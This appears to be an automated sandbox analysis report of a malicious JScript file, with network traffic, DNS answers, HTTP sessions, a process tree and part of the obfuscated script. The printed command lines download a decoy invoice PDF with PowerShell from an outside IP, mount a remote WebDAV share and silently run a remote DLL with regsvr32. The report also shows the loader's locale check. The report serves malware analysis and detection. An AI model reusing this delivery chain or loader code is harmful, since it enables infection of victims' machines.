Jan 10, 2025 22:35:41.448446035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.448448896 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.448468924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.448527098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.448549986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.448570967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.448591948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.448591948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.448612928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.448633909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.463771105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.490469933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490504980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490516901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490529060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.490562916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.490597963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490609884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490654945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.490659952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490766048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490777016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490788937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490801096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.490806103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.490827084 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.491009951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491030931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491041899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491046906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.491051912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491064072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491075039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491079092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.491086006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491096973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491099119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.491108894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491127014 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.491141081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.491625071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491636992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491650105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.491676092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.497173071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.664747000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:42.234675884 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:42.239572048 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:42.239695072 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:42.239907026 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:42.244710922 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:43.048747063 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:43.097640038 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:44.831393957 CET	49701	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:35:50.362926006 CET	64379	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:35:50.362926006 CET	192.168.2.7	1.1.1.1	0xd15a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:35:50.370910883 CET	1.1.1.1	192.168.2.7	0xd15a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:05.184221983 CET	1.1.1.1	192.168.2.7	0xf32d	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:19.090559959 CET	1.1.1.1	192.168.2.7	0xe9a2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:36:19.090559959 CET	1.1.1.1	192.168.2.7	0xe9a2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	320	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:35:39.721765995 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:35:40.548293114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:35:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:35:40.548315048 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:35:40.548338890 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:35:40.548418999 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:35:40.548430920 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 22:35:40.548444986 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 22:35:40.548825026 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:35:40.548875093 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:35:40.548887014 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:35:40.548949003 CET	672	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 22:35:40.553211927 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49701	193.143.1.205	8888	6356	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:35:42.239907026 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:35:43.048747063 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:35:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:35:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1667730710460316051.js"
Imagebase:	0x7ff7b9000000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:35:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\137691750310144.dll
Imagebase:	0x7ff7fa670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:35:32
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:35:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	16:35:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	16:35:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7fa670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:35:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff759d00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	16:35:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:35:42
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	16:35:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1724,i,11817001446608972459,18092825154791286163,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function wzubxv() {	wzubxv() ➔ undefined
1	iedfp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var itqdixz = this[qfbbnxbo + xejzza + inbrteb + xhynsktxk + herqcnx + xjumatuuy + sjtgd + wlgqtx] ( this[uraqztns + hzgsbpj + ougbbbfi + inbrteb + vsygoywc + qfbbnxbo + wlgqtx][bhwgqlqqi + inbrteb + herqcnx + xejzza + wlgqtx + herqcnx + pjsvs + bvuqd + atgsexqfv + herqcnx + ougbbbfi + wlgqtx] ( uraqztns + hzgsbpj + ougbbbfi + inbrteb + vsygoywc + qfbbnxbo + wlgqtx + hnsdf + hzgsbpj + bioda + herqcnx + kevry + kevry ) [fktdqu + herqcnx + glwhlg + fktdqu + herqcnx + xejzza + xrlvhcffd] ( otkmxdo + bwlspvmy + illibk + dtlzujahi + vwqqxthi + bhwgqlqqi + zxycrmhc + fktdqu + fktdqu + illibk + rxiojqwba + gasfy + vwqqxthi + zxycrmhc + hzgsbpj + illibk + fktdqu + lrqscbg + bhwgqlqqi + fcplkr + sjtgd + wlgqtx + inbrteb + fcplkr + kevry + atmslowiy + jtxbeow + xejzza + sjtgd + herqcnx + kevry + lrqscbg + xjumatuuy + sjtgd + wlgqtx + herqcnx + inbrteb + sjtgd + xejzza + wlgqtx + vsygoywc + fcplkr + sjtgd + xejzza + kevry + lrqscbg + vglpk + fcplkr + ougbbbfi + xejzza + kevry + herqcnx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qgdod = 0 ; qgdod < iedfp[kevry + herqcnx + sjtgd + glwhlg + wlgqtx + bioda] ; ++ qgdod )
4	{
5	if ( itqdixz == iedfp[qgdod] )
6	{
7	itqdixz = true;
8	break ;
9	}
10	}
11	if ( itqdixz !== true )
12	this[uraqztns + hzgsbpj + ougbbbfi + inbrteb + vsygoywc + qfbbnxbo + wlgqtx][fbvbcwzo + mxrknm + vsygoywc + wlgqtx] ( );
13	this[uraqztns + hzgsbpj + ougbbbfi + inbrteb + vsygoywc + qfbbnxbo + wlgqtx][bhwgqlqqi + inbrteb + herqcnx + xejzza + wlgqtx + herqcnx + pjsvs + bvuqd + atgsexqfv + herqcnx + ougbbbfi + wlgqtx] ( uraqztns + hzgsbpj + ougbbbfi + inbrteb + vsygoywc + qfbbnxbo + wlgqtx + hnsdf + hzgsbpj + bioda + herqcnx + kevry + kevry ) [inbrteb + mxrknm + sjtgd] ( ougbbbfi + zuuunw + xrlvhcffd + atmslowiy + ctwcfdajf + ougbbbfi + atmslowiy + qfbbnxbo + fcplkr + ypldse + herqcnx + inbrteb + xhynsktxk + bioda + herqcnx + kevry + kevry + hnsdf + herqcnx + avopncj + herqcnx + atmslowiy + ivpoe + bhwgqlqqi + fcplkr + zuuunw + zuuunw + xejzza + sjtgd + xrlvhcffd + atmslowiy + buhwexsy + xjumatuuy + sjtgd + txofei + fcplkr + rygma + herqcnx + ivpoe + uraqztns + herqcnx + bvuqd + fktdqu + herqcnx + usgdymvvr + mxrknm + herqcnx + xhynsktxk + wlgqtx + atmslowiy + ivpoe + pjsvs + mxrknm + wlgqtx + xmfwwimpx + vsygoywc + kevry + herqcnx + atmslowiy + miyuzg + wlgqtx + herqcnx + zuuunw + qfbbnxbo + miyuzg + lrqscbg + vsygoywc + sjtgd + txofei + fcplkr + vsygoywc + ougbbbfi + herqcnx + hnsdf + qfbbnxbo + xrlvhcffd + xmatyt + atmslowiy + bioda + wlgqtx + wlgqtx + qfbbnxbo + mnfbsh + ctwcfdajf + ctwcfdajf + rpqufsxz + arzhhhzeu + zbbzgb + hnsdf + rpqufsxz + unzthxe + zbbzgb + hnsdf + rpqufsxz + hnsdf + zhnktt + eflnt + inizb + ctwcfdajf + vsygoywc + sjtgd + txofei + fcplkr + vsygoywc + ougbbbfi + herqcnx + hnsdf + qfbbnxbo + bioda + qfbbnxbo + buhwexsy + ckjbz + ckjbz + xhynsktxk + wlgqtx + xejzza + inbrteb + wlgqtx + atmslowiy + miyuzg + wlgqtx + herqcnx + zuuunw + qfbbnxbo + miyuzg + lrqscbg + vsygoywc + sjtgd + txofei + fcplkr + vsygoywc + ougbbbfi + herqcnx + hnsdf + qfbbnxbo + xrlvhcffd + xmatyt + ckjbz + ckjbz + ougbbbfi + zuuunw + xrlvhcffd + atmslowiy + ctwcfdajf + ougbbbfi + atmslowiy + sjtgd + herqcnx + wlgqtx + atmslowiy + mxrknm + xhynsktxk + herqcnx + atmslowiy + lrqscbg + lrqscbg + rpqufsxz + arzhhhzeu + zbbzgb + hnsdf + rpqufsxz + unzthxe + zbbzgb + hnsdf + rpqufsxz + hnsdf + zhnktt + eflnt + inizb + epozk + hwscqnn + hwscqnn + hwscqnn + hwscqnn + lrqscbg + xrlvhcffd + xejzza + txofei + ypldse + ypldse + ypldse + inbrteb + fcplkr + fcplkr + wlgqtx + lrqscbg + ckjbz + ckjbz + ougbbbfi + zuuunw + xrlvhcffd + atmslowiy + ctwcfdajf + 